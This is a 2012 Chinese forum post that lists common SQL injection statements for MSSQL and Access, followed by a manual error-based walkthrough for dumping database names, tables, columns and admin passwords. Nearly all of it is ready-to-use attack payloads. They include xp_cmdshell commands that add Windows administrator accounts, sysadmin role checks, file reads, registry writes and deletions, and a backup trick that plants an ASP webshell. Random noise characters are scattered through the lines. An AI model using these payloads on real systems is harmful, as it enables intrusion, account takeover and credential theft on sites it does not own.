找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1967|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入 . V9 s; ?$ f& W
;and 1=1
! J7 `4 f/ u4 @2 z$ f# p;and 1=2 * H( M( W9 l# ?
, V) P- D2 G. ~+ R' X, x
2.初步判断是否是mssql 0 ]0 i+ y4 r/ l) d8 y8 y2 m
;and user>0 . W+ p8 g: n/ M, o

2 y  N/ W# J) S% M/ [* H- @3.判断数据库系统 . k/ A% T5 A0 H! k, z% Q
;and (select count(*) from sysobjects)>0 mssql
) m: J+ |+ f, J3 _. Z3 T;and (select count(*) from msysobjects)>0 access 7 q# A5 i) r! j

& s+ R: ~; g& s4 u/ ]7 Y/ B* \4.注入参数是字符
" K% M7 Q2 Q' H3 k/ T4 ~6 M'and [查询条件] and ''=' 7 s2 J: Q1 q. D4 F4 F/ Q

- n2 w! b0 o! K; f# _- o5.搜索时没过滤参数的 ) u* m; q: f' @! z) F) J- l
'and [查询条件] and '%25'=' - w  v" K' s6 J

. _* U- `; z# e# K8 z- o6.猜数表名 7 ~7 W9 D  S( Q9 [" M
;and (select Count(*) from [表名])>0 : F% O. M1 E& q# G/ K# |/ h0 N  H
! a: K/ _) A9 A' S% s% o
7.猜字段
0 A8 r# j: x+ B5 Q0 G! h& V;and (select Count(字段名) from 表名)>0
3 O/ q. M% c- S6 e
8 t% D+ K/ [% J8.猜字段中记录长度 ) e- j$ Q8 }9 @( `# v- [$ a$ J
;and (select top 1 len(字段名) from 表名)>0
2 c# o+ V: |/ i
& |$ E4 v3 Q+ d( [7 P9 ]9.(1)猜字段的ascii值(access)
; K: Q$ P. w; ~) F* T: B;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
4 W8 I4 l9 E, M7 \" O
$ l, t. ~6 Y! I/ K4 Q(2)猜字段的ascii值(mssql) ! l/ \* L9 h0 m) i& W9 Y
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
  u/ F, {. V( |( B2 l8 L
) K( h: Q+ G; H: ?: R10.测试权限结构(mssql)
& L8 h; A8 L! A4 C+ Q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ' Z' v! ]6 v) l% Q- |) K! m; f
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ! ~. c7 t& e. v7 L, F
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! c* {7 o4 e; J" t/ X, X
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 0 G7 W  k/ _( A6 b' a' }
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- C  u4 `( M2 b# E9 J7 I" Z2 e;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
, `! l, ~) V' a) }# k;and 1=(select IS_MEMBER('db_owner'));-- " r  t) ~2 ?/ h
( r5 u& S9 T2 q
11.添加mssql和系统的帐户
4 m: x; o, ]( L# o+ C! y;exec master.dbo.sp_addlogin username;-- - b) }& ]6 |1 U% L% ~, o7 w
;exec master.dbo.sp_password null,username,password;--
3 c9 @5 |; l( c" J3 I& z* P;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1 k* M/ P* O7 S: ^6 A1 T( L
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 R" k/ W4 v$ J. I5 U/ I
;exec master.dbo.xp_cmdshell 'net user username password /add';--
) x9 Q8 E: X" b! p1 f% M1 o2 _) {;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - u1 m; x8 ^' l- k" @! Z

3 L! X1 |+ ]5 Z. |& d3 q5 R12.(1)遍历目录
: x3 q9 P5 S- }1 ^;create table dirs(paths varchar(100), id int) 3 P, x0 `) p2 G( r/ e
;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 ]! v3 N7 A. l8 Q+ W$ x;and (select top 1 paths from dirs)>0
& U1 }- X- A) h4 e: X;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4 j- `4 \0 ?- }6 V! h; \
- Z- G$ F2 L$ h0 l1 L1 K9 u
(2)遍历目录
! Y- ]7 j+ o; I& _;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* M7 J2 c# k, @8 Q9 R1 T. z1 f- q0 v) c& E;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 y6 O8 D! M" V' R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" m2 k: ]$ V) R9 z5 h9 F;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 4 P& G3 z/ Z# C4 H, Y8 n: N# ]
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
& J- }& s" R% ?3 U
6 O) O4 i. ?# r( |! D, k$ t% A/ H13.mssql中的存储过程
' c# e5 }1 i9 _% q/ rxp_regenumvalues 注册表根键, 子键
7 K; D2 D/ Z) {' i;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) l( Y5 x& B0 P! m1 }xp_regread 根键,子键,键值名
- R5 S* ]- K. {8 a# Q- q;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 ]- a4 w3 h& s& t3 I8 zxp_regwrite 根键,子键, 值名, 值类型, 值
  F3 Z  U( V/ ?" Y! T值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 ?4 `" `6 j0 k( U: };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! B& I# b  f: `# ~; I5 r
xp_regdeletevalue 根键,子键,值名
5 A2 d7 z8 a$ Q- E& c0 l7 ?exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ! _1 z4 g9 ?! N
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ' ^, [1 E; E6 d/ m! W5 S9 k
2 h0 G, e4 {- }7 K; K* i
14.mssql的backup创建webshell
# W4 a8 t9 w2 b  M" a# buse model 8 v0 |! Z  e0 ~$ B* d5 c; y6 @4 p
create table cmd(str image); " `2 Y8 V- ?4 V
insert into cmd(str) values ('<% Dim oScript %>'); 1 @7 A6 y# u! a9 D: u1 {' G  E+ o
backup database model to disk='c:\l.asp'; : t' Q) ~4 U9 S; O( A% W/ H3 F

$ D' w: e$ R2 h! v" w15.mssql内置函数 % M: U7 c( g& {, `
;and (select @@version)>0 获得Windows的版本号 / `! L  ?4 \/ K( o
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' y; p- A( i1 c1 f8 ?# P' t
;and (select user_name())>0 爆当前系统的连接用户
6 F! V, S- {) u0 u4 o: o;and (select db_name())>0 得到当前连接的数据库
# ~  \* D6 P2 @8 V; O; L4 v& }, F& }; `5 l, Z4 |: T9 T8 I0 e0 j

  B+ t4 H  }* l9 D! Q7 w% n" M4 w( [- u. g' |4 J" Q$ N1 x* M
MSSQL手注暴库
* ]! @7 ?0 d4 \9 S0 _8 d8 s" O0 X& E$ j* _" q
1.暴出当前表名和列名1 b! F0 Q: c2 }+ K3 p& F6 C6 c
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。$ S7 k* T' C3 M# b
% M* D+ V% G/ N" w( w* g) M
第一.爆出所有数据库名
* v, t1 O2 J  y  ?利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。8 e. }- A2 ~5 f2 o1 A, q* c7 y
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。2 M: M: ~7 u  J* Z' j
6 C' n+ n: n- [- g, }7 v
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名4 F5 T! J( e' r3 q/ ~
2 r0 v( a/ S% T- |

" F3 |4 S( o. v0 i# y第二.爆出指定库中的所有表名
+ S# R+ p* A6 M) J得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! V, v, K! Y# W" o( O
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
$ |( H+ c( w% Z- r* x, C
- |8 U, s6 U+ ]# L* R; u5 w' tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
9 o4 u6 Z* X/ y+ Cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--8 a! Y# X% M$ P. Q) E
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
- W, \' `, L% L" P
  ?7 @0 b& A) Z/ T+ z4.爆出指定表中的所有列名; L3 [6 [0 S# Z' l& N9 W
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
+ }; U5 u0 k1 V# M+ u* }5 y9 D. D//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
- k2 w% Y0 j1 F, b
- x5 @, l6 O9 i' _and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
7 k+ T' l0 O6 \- e8 U: ~; }3 H3 ]# a4 b6 F
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
& c" d) g0 `3 g- P9 ?5 h依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。9 i, \  O2 j/ E
; r, N. E3 h" W: r; g
$ _/ M; n$ H6 Z% _
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值5 y8 V5 U5 s! @* }; ~

* s  v' l5 K. l. c3 N) u" Zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
8 Z6 g  i: T8 `/ n! ~4 O$ L3 b/ v# z  V* V" [& i4 {0 [
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ' C1 e0 u- h  n
5 y2 g% j' _+ F, e/ J' h
& G* u- B& j" g
2 k- d8 s+ V: b' Z- d6 _2 J6 w# J+ B6 L
5.读取指定表中的数据
8 a( s8 U( c2 ^7 Z/ u: u
5 X! f  `4 O+ H+ t7 Dand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ {% @8 D1 Z: f, l3 F& c: A

# y7 S2 h6 d! D- G* ~! L+ k0 J9 g9 land 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--' V  X% ]6 U1 c, h

9 [9 W, J9 ?' S3 ]5 j) d. Aand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
4 z/ W/ q. ^" D' f+ _/ ^1 B
: D% o7 z3 X# _' l. [$ m$ ]- V# P' s; V+ }$ M, }6 T4 p3 U
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)0 c4 [9 i' z3 D4 _
+ W( L' V* Z8 i' g
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)3 Z$ S, e  b- v3 S7 k
/ H, F2 q4 }2 q4 K- @
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
* `# F4 r9 W3 Y( _- R" m5 E4 V! v! u: B7 ^: y0 u0 t
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 |# |' V) O6 X  o2 s' C* q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表